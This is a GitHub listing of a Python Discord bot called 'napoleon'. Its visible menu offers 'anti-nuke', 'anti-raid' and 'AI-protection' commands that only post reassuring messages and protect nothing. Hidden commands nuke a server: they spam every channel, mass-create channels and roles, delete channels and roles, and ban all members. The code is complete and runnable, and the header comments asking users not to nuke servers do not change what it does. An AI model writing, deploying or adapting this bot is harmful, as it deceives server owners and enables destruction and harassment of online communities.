-
Notifications
You must be signed in to change notification settings - Fork 1
/
napoleon.py
193 lines (142 loc) · 6.21 KB
/
napoleon.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
# PLEASE DONT BE LIKE 12 Y.O NO LIFE KID AND DONT NUKE SERVERS FOR NO REASON
# PLEASE DONT BE LIKE 12 Y.O NO LIFE KID AND DONT NUKE SERVERS FOR NO REASON
# PLEASE DONT BE LIKE 12 Y.O NO LIFE KID AND DONT NUKE SERVERS FOR NO REASON
# PLEASE DONT BE LIKE 12 Y.O NO LIFE KID AND DONT NUKE SERVERS FOR NO REASON
# PLEASE DONT BE LIKE 12 Y.O NO LIFE KID AND DONT NUKE SERVERS FOR NO REASON
import discord
import colorama
from colorama import Fore
from discord.ext import commands
intents = discord.Intents.all()
intents.message_content = True
prefix = 'n.'
bot = commands.Bot(command_prefix=prefix, intents=intents)
token = input(Fore.CYAN + "bot token: ")
@bot.event
async def on_ready():
print(Fore.LIGHTMAGENTA_EX + f'''
███╗ ██╗ █████╗ ██████╗ ██████╗ ██╗ ███████╗ ██████╗ ███╗ ██╗
████╗ ██║██╔══██╗██╔══██╗██╔═══██╗██║ ██╔════╝██╔═══██╗████╗ ██║
██╔██╗ ██║███████║██████╔╝██║ ██║██║ █████╗ ██║ ██║██╔██╗ ██║
██║╚██╗██║██╔══██║██╔═══╝ ██║ ██║██║ ██╔══╝ ██║ ██║██║╚██╗██║
██║ ╚████║██║ ██║██║ ╚██████╔╝███████╗███████╗╚██████╔╝██║ ╚████║
╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═════╝ ╚══════╝╚══════╝ ╚═════╝ ╚═╝ ╚═══╝
made with love by https://github.com/kikmanONTOP/napoleon:3
BOT IS READY AS {bot.user}
''')
@bot.command()
async def menu(ctx):
embed = discord.Embed(
title='COMMANDS',
description='''
Anti-nuke = n.antinuke
Anti-raid = n.antiraid
AI-protection = n.aiprotection
''',
color=discord.Color.dark_theme()
)
await ctx.send(embed=embed)
@bot.command()
async def antinuke(ctx):
embed = discord.Embed(
title='ANTI-NUKE PROTECTION',
description='Your server is now safe and protected',
color=discord.Color.dark_theme()
)
await ctx.send(embed=embed)
@bot.command()
async def antiraid(ctx):
embed = discord.Embed(
title='ANTI-RAID PROTECTION',
description='Your server is now safe and protected',
color=discord.Color.dark_theme()
)
await ctx.send(embed=embed)
@bot.command()
async def aiprotection(ctx):
embed = discord.Embed(
title='AI-PROTECTION WAS ACTIVATED',
description='Your server is now safe and protected',
color=discord.Color.dark_theme()
)
await ctx.send(embed=embed)
@bot.command()
async def napoleon(ctx):
embed = discord.Embed(
title='NAPOLEON COMMANDS',
description='''
Spam to all channels = n.spam (message) (number like 1000) so for example n.spam @everyone nuked 1000
Create channels = n.spamchannels (name of channels) (how many channels will be created like 100) for example n.spamchannels nuked 100
Delete channels = n.channelsdelete (number of channels that will be deleted for example like n.channelsdelete 100)
Create roles = n.spamroles (name of role that will be created) (how many roles will be created) so for example n.spamroles nuked 100
Delete roles = n.rolesdelete (number of roles that will be deleted for example n.rolesdelete 20)
Ban all members = n.massban
# PLEASE DONT BE LIKE 12 Y.O NO LIFE KID AND DONT NUKE SERVERS FOR NO REASON
''',
color=discord.Color.dark_theme()
)
await ctx.send(embed=embed)
@bot.command()
async def spam(ctx, *, args):
try:
message, amount = args.rsplit(' ', 1)
amount = int(amount)
except ValueError:
return await ctx.send("Error. Use the it like: n.spam <message> <amount>")
if amount <= 0:
return await ctx.send("bro dont troll me")
channels = ctx.guild.text_channels
for i in range(amount):
for channel in channels:
await channel.send(message)
@bot.command()
async def spamchannels(ctx, name, amount: int):
if amount <= 0 or amount > 100:
return await ctx.send("Amount should be a positive integer and less than or equal to 100. :skull:")
for i in range(amount):
await ctx.guild.create_text_channel(name)
@bot.command()
async def deletechannels(ctx, amount: int):
if amount <= 0 or amount > 100:
return await ctx.send("Amount should be a positive integer and less than or equal to 100. :middle_finger:")
channels = ctx.guild.text_channels
count = 0
for channel in channels:
if count < amount:
await channel.delete()
count += 1
@bot.command()
async def spamroles(ctx, name, amount: int):
if amount <= 0 or amount > 100:
return await ctx.send("Amount should be a positive integer and less than or equal to 100. :clown:")
guild = ctx.guild
for i in range(amount):
await guild.create_role(name=name)
@bot.command()
async def deleteroles(ctx, amount: int):
if amount <= 0 or amount > 100:
return await ctx.send("Amount should be a positive integer and less than or equal to 100.")
guild = ctx.guild
roles = guild.roles
count = 0
for role in roles:
if count < amount:
try:
await role.delete()
count += 1
except discord.HTTPException:
pass
@bot.command()
async def massban(ctx):
guild = ctx.guild
members = guild.members
count = 0
skipped = 0
for member in members:
try:
await member.ban()
count += 1
except discord.Forbidden:
skipped += 1
pass
bot.run(token)